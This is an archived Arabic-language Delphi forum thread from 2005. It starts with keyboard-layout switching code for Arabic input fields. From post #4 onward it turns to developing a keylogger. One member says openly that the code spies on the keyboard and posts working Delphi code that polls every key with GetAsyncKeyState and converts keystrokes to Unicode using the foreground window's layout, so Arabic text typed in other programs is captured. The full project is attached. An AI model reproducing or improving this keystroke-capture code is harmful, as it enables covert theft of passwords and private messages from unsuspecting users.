الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

KeyBoard Arabic Locking

مغلق
بدأه alsaid hasan في 4 أبريل 2005 · 16 رد · 9,882 مشاهدة · في أرشيف منتدى الدلفي
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

هناك حقول أود إدخال بيانات بالعربية فقط فيها كيف يمكن تحويل لوحة المفاتيح إلى العربية تلقائيا عند دخول الحقل مع إقفالها على العربية هتى يتم الخروج من هذا الحقل

#2

السلام عليكم

هذا الكود

Application.BiDiKeyboard:='00000401';

Application.NonBiDiKeyboard:='0000040C';

و يجب أن تعيين bidimode لكل حقل (left to right ) لللاتنية ( right to left) للعربية

أتمني أن يفيدكم الكود (h)

يقول المثل الشعبي الجزائري

( أقري علمك و علما لا تدريه ، و قل ربي زدني علما ، و فوق كل ذى علم عليم )

اللهم زدنا و لا تنقصنا و أعطنا و لا تحرمنا

#3

بارك الله فيك SOUMIA ;) .

هذا كود استعملت فيه WinApi Function . الفورم تحتوي على زر Button1 و على مربع نص Edit1.

الدالة المستعملة هي LoadKeyboardLayout وهي تقبل باراميتراين, الأول هو كود اللغة والثاني هو Flags لطريقة تحميل لغة لوحة المفاتيح. هذه الدلة ترجع Handle وهو عبارة عن رقم يميز لوحة المفاتيح التي حملتها.

يمكنك تحميل كل لغات لوحة المفاتيح التي تريد في بدأ البرنامج وتسجيل Handles الموافقة لها والإستفادة منها إذا أردت إخنبار ما هي للوحة النشطة منها :lol: و هذا باستخدام دالة ActivateKeyboardLayout أو GetKeyboardLayoutName .

procedure TForm1.Button2Click(Sender: TObject);
begin
if button1.tag =0 then
   begin
    LoadKeyBoardLayout ( '00000401', KLF_ACTIVATE);
    button1.Caption:='The keybrd is ARABIC';
    button1.tag:=1;
    edit1.BiDiMode:= bdRightToLeft;
   end
 else
   begin
    loadKeyBoardLayout ( '00000409', KLF_ACTIVATE);
    button1.Caption:='The keybrd is ENGLISH';
    button1.tag:=0;
    edit1.BiDiMode:= bdLeftToRight;
   end;
end;

'00000401' هو كود اللغة العربية, و '00000409' هو كود اللغة الإنجليزية..

إذا أردت استخدام لغات أخرى استعمل بدلا من هذا الذي يحمل كود اللغة العربية

loadKeyBoardLayout ( '00000401', KLF_ACTIVATE);

بنظيره:

LoadKeyboardLayout(PChar(Format('000004%.2d', [LANG_ARABIC])),KLF_ACTIVATE);

و هذه لائحة لباقي اللغات الأخرى المعتمدة في ويندوز:

LANG_AFRIKAANS             LANG_ICELANDIC
LANG_ALBANIAN            LANG_INDONESIAN
LANG_ARABIC                LANG_ITALIAN
LANG_BASQUE                LANG_JAPANESE
LANG_BELARUSIAN            LANG_KOREAN
LANG_BULGARIAN            LANG_LATVIAN
LANG_CATALAN            LANG_LITHUANIAN
LANG_CHINESE            LANG_NEUTRAL
LANG_CROATIAN            LANG_NORWEGIAN
LANG_CZECH                LANG_POLISH
LANG_DANISH                LANG_PORTUGUESE
LANG_DUTCH                LANG_ROMANIAN
LANG_ENGLISH            LANG_RUSSIAN
LANG_ESTONIAN            LANG_SERBIAN
LANG_FAEROESE            LANG_SLOVAK
LANG_FARSI                LANG_SLOVENIAN
LANG_FINNISH                LANG_SPANISH
LANG_FRENCH                LANG_SWEDISH
LANG_GERMAN            LANG_THAI
LANG_GREEK                LANG_TURKISH
LANG_HEBREW            LANG_UKRANIAN
LANG_HUNGARIAN            LANG_VIETNAMESE

سأتغيب عن المنتدى وستكون لي زيارات خفيفة بين الحين و الحين

يا صاحب الهم إن الهم منفرج.....................أبشر بخير فإن الفارج الله.

اليأس يقطع أحيانا بصاحبه..........................لا تيأس فإن الكافي الله.

الله يحدث بعد العسر ميسرة.........................لا تفزعن فإن الصانع الله.

إذا بليت فثق بالله وارض به...................فإن الذي يكشف البلوى هو الله.

و الله ما لك غير الله من أحد.......................فحسبك الله في كل لك الله

أخوكم مراد

27_06_06_05_21_41_1151410901logo_adl_wal_ihsan.jpg

#4

طيب ممكن سؤال بسيط

لنفرض ان البرنامج key Logger يعني يتنصت على ازرار لوحة المفاتيح(للفائده فقط) :)

بالوضع الطبيعي راح يلتقط كل شي بالانجليزي

المشكله لو كان مستخدم الجهاز لغته روسيه أو عربيه كيف ممكن ندعّم البرنامج لكل اللغات

اذا كانت اللغه انجليزيه وضغط المستخدم الزر k راح يسجل k

لكن لو كانت اللغه عربيه وضغط المستخدم الحرف م راح يسجل l مقابله بالانجليزي على الكيبورد

وهكذااا

مو معقوله اني اضع unit لكل لغه واروح اسوي مقابل كل حرف انجليزي اللى يقابله بالعربي او بالروسي او او

ابحث عن حل سريع لمشكلة اللغه هذي

#5

عفوا أخي vb-delphi لم أفهم جيدا الفكرة التي تطرحها :unsure:

سأتغيب عن المنتدى وستكون لي زيارات خفيفة بين الحين و الحين

يا صاحب الهم إن الهم منفرج.....................أبشر بخير فإن الفارج الله.

اليأس يقطع أحيانا بصاحبه..........................لا تيأس فإن الكافي الله.

الله يحدث بعد العسر ميسرة.........................لا تفزعن فإن الصانع الله.

إذا بليت فثق بالله وارض به...................فإن الذي يكشف البلوى هو الله.

و الله ما لك غير الله من أحد.......................فحسبك الله في كل لك الله

أخوكم مراد

27_06_06_05_21_41_1151410901logo_adl_wal_ihsan.jpg

#6

logger.zip

لو لاحظت المشروع بالمرفقات

راح تلاقيه يلتقط اي شي تكتبه بالكيبورد بشكل صحيح بشرط تكون الكتابه بالانجليزي

لكن لو غيرت اللغه من انجليزي لعربي راح تتلخبط الكتابات والحروف وماراح تكون منسقه

لانه يلتقط انجليزي فقط

هذا قصدي كيف ممكن اغير بالكود عشان يدعم كل اللغات بدون أخطاء B)

#7

:lol: هذا الكود يقوم بتجسس على لوحة المفاتيح.

لكنه لا يقرأ الحرف الذي ظغط و لكن الزر الحقيقي على شكل VirtualKey وهكذا فإنه لايعلم إن كان الحرف إنجليزي أو عربي!!!.

بعد قراءة الزر يقوم البرنامج بترجمة Vkey إلى Ascii Char وهذا يلغي كل الحروف ولا يعتبرها ويراها كأنها حروف لاتينية فقط.

يعني لا يفرق حتى ما بين Querty و ما بين Azerty. B)

سأتغيب عن المنتدى وستكون لي زيارات خفيفة بين الحين و الحين

يا صاحب الهم إن الهم منفرج.....................أبشر بخير فإن الفارج الله.

اليأس يقطع أحيانا بصاحبه..........................لا تيأس فإن الكافي الله.

الله يحدث بعد العسر ميسرة.........................لا تفزعن فإن الصانع الله.

إذا بليت فثق بالله وارض به...................فإن الذي يكشف البلوى هو الله.

و الله ما لك غير الله من أحد.......................فحسبك الله في كل لك الله

أخوكم مراد

27_06_06_05_21_41_1151410901logo_adl_wal_ihsan.jpg

#8

يعني مافي حل للكود هذا

#9

لابد من وجود حل برمجي, أكيد ربما باستعمال دالة ToUnicode!! أنا لا أعلم شيئا عنها وسأبحث لاحقا عن كيفية الإستفادة منها

سأتغيب عن المنتدى وستكون لي زيارات خفيفة بين الحين و الحين

يا صاحب الهم إن الهم منفرج.....................أبشر بخير فإن الفارج الله.

اليأس يقطع أحيانا بصاحبه..........................لا تيأس فإن الكافي الله.

الله يحدث بعد العسر ميسرة.........................لا تفزعن فإن الصانع الله.

إذا بليت فثق بالله وارض به...................فإن الذي يكشف البلوى هو الله.

و الله ما لك غير الله من أحد.......................فحسبك الله في كل لك الله

أخوكم مراد

27_06_06_05_21_41_1151410901logo_adl_wal_ihsan.jpg

#10

ياليت :)

#11

لقد طورت الكود الذي أدرجته أعلاه Logger.

حذفت دالتين وأضفت دالة التي تقوم بتحويل كود virtual Key إلى Unicode:

procedure GetLetter();
var
  vkey: Cardinal;
begin

//verify all virtual keys :
//Verify if Letter Keys is pressed  VK_A= $41 VK_Z= $5A
//Verify if numpab Keys is pressed  VK_NUMPAD0= $60 VK_NUMPAD9= $69
//Verify if Keys 0 to 9 is pressed   Vk_0= $30 vk_9 = $39
for vkey:=$00 to $ff do
  if Odd(GetAsyncKeyState(vkey)) then
        begin
          form1.Memo1.Text:= form1.Memo1.Text+ GetUnicodeFromVKey(vkey);
        end;
end;


//*****************************************************
function GetUnicodeFromVKey(vkey: Word):string;
 var
    keystate: TKeyboardState;
    dwHkl: hkl;
    UnicodeChar: array[0..1] of wchar;
    ScanCode: UINT;
    iResult: Integer;
begin
dwHkl:= GetKeyboardLayout(0);
if GetKeyboardState(KeyState) then
begin
  ScanCode:=MapVirtualKeyEx(vKey,0,dwHkl);
  iResult:=ToUnicodeEx(vKey,ScanCode,@KeyState,@UnicodeChar,2,0,dwHkl);
  Result:= UnicodeChar;
  case iResult of
     0: Result:='';
     1: SetLength(Result,1);
     2: SetLength(Result,2);
  end;
end;
end;

نص المشروع كاملا في المرفقات :lol:

Modified logger.rar

تم تعديل هذه المشاركة بواسطة ikossan في 9 أبريل 2005 في 03:23

سأتغيب عن المنتدى وستكون لي زيارات خفيفة بين الحين و الحين

يا صاحب الهم إن الهم منفرج.....................أبشر بخير فإن الفارج الله.

اليأس يقطع أحيانا بصاحبه..........................لا تيأس فإن الكافي الله.

الله يحدث بعد العسر ميسرة.........................لا تفزعن فإن الصانع الله.

إذا بليت فثق بالله وارض به...................فإن الذي يكشف البلوى هو الله.

و الله ما لك غير الله من أحد.......................فحسبك الله في كل لك الله

أخوكم مراد

27_06_06_05_21_41_1151410901logo_adl_wal_ihsan.jpg

#12

ممتااااااااااااااااااااز وراااااائع :lol:

الحين اذا شغلت البرنامج ورحت لأي مستند نصي وجلست اكتب مره بالانجليزي ومره بالعربي ارجع لفورم البرنامج ألاقيه يلتقط حروف انجليزيه فقط بدون العربي لكن اذا رجعت للـ memo في البرنامج وجعلت اللغه فيه عربيه

او يعني غيرت المؤشر من اليسار لليمين الى اليمين لليسار ورحت اكتب في المستند راح يبدأ يلتقط عربي

طيب انا حاولت اعتمد على الكود هذا وكان موجود بالمنتدى

عشان اجعل البرنامج يتحول لعربي ومن عربي لانجليزي حسب اللغه اللى مفعلها مستخدم البرنامج والموجوده بجنب الساعه على شريط الويندوز AR , EN

var
CurLayout: string;
 KeyBrd: Array [0..KL_NAMELENGTH] of Char;
begin
GetKeyboardLayoutName(Keybrd);
  CurLayout := Copy(KeyBrd,5,4);
  if CurLayout = '0409' then begin
    Form1.Memo1.Font.Charset:=(DEFAULT_CHARSET);
     Form1.stat.Caption:='english'
  end Else
     if CurLayout  = '0401' then begin
        Form1.Memo1.Font.Charset:=(ARABIC_CHARSET);
         Form1.stat.Caption:='arabic'
end;
end;

لكن الفورم مصر على الانجليزي ويتجاهل التحويل للعربي مدري ليش ؟

#13

أنظر إلى هذا الكود :lol:

//*****************************************************
function GetUnicodeFromVKey(vkey: Word):string;
 var
    keystate: TKeyboardState;
    dwHkl: hkl;
    UnicodeChar: array[0..1] of wchar;
    ScanCode: UINT;
    iResult: Integer;

    idThread: DWORD;
    idProcess: DWORD;
    wndHandle: THandle;      //Handle of the Active Window

begin
wndHandle:= GetForegroundWindow();
idThread:= GetWindowThreadProcessId(wndHandle,@idProcess);
dwHkl:= GetKeyboardLayout(idThread);
if GetKeyboardState(KeyState) then
begin
  ScanCode:=MapVirtualKeyEx(vKey,0,dwHkl);
  iResult:=ToUnicodeEx(vKey,ScanCode,@KeyState,@UnicodeChar,2,0,dwHkl);
  Result:= UnicodeChar;
  case iResult of
     0: Result:='';
     1: SetLength(Result,1);
     2: SetLength(Result,2);
  end;
end;
end;

logger.rar

سأتغيب عن المنتدى وستكون لي زيارات خفيفة بين الحين و الحين

يا صاحب الهم إن الهم منفرج.....................أبشر بخير فإن الفارج الله.

اليأس يقطع أحيانا بصاحبه..........................لا تيأس فإن الكافي الله.

الله يحدث بعد العسر ميسرة.........................لا تفزعن فإن الصانع الله.

إذا بليت فثق بالله وارض به...................فإن الذي يكشف البلوى هو الله.

و الله ما لك غير الله من أحد.......................فحسبك الله في كل لك الله

أخوكم مراد

27_06_06_05_21_41_1151410901logo_adl_wal_ihsan.jpg

#14

برافوووووو

يعطيكم ألف عافية

#15

والله انت مكسب لنا في المنتدى يامرااااااد

ألف مليووووون شكرررررر

#16

السلام عليكم و رحمة الله وبركاته اول شكرا لكل من شارك فى الموضوع

انا عندى استفسار

هذا الكود يعطى علامة (؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟) فى حلة اذا كانت اعدادات اللغة

regional option ------->standard and formats-------->English

ولم استطع التغلب على هذه المشكلة الا بتحويلها الى العربية فهل يوجد حل شكرا لك جميعا

{ربى زدنى علما}

#17

اولا اشكر هذا المنتدى الرائع بحق ، واشكر القائمين على هذا المنتدى

ضع الكود التالي في اخر Unit2

initialization

SetThreadLocale(1025 );

finalization

end.

هذا الموضوع مغلق.

مواضيع مشابهة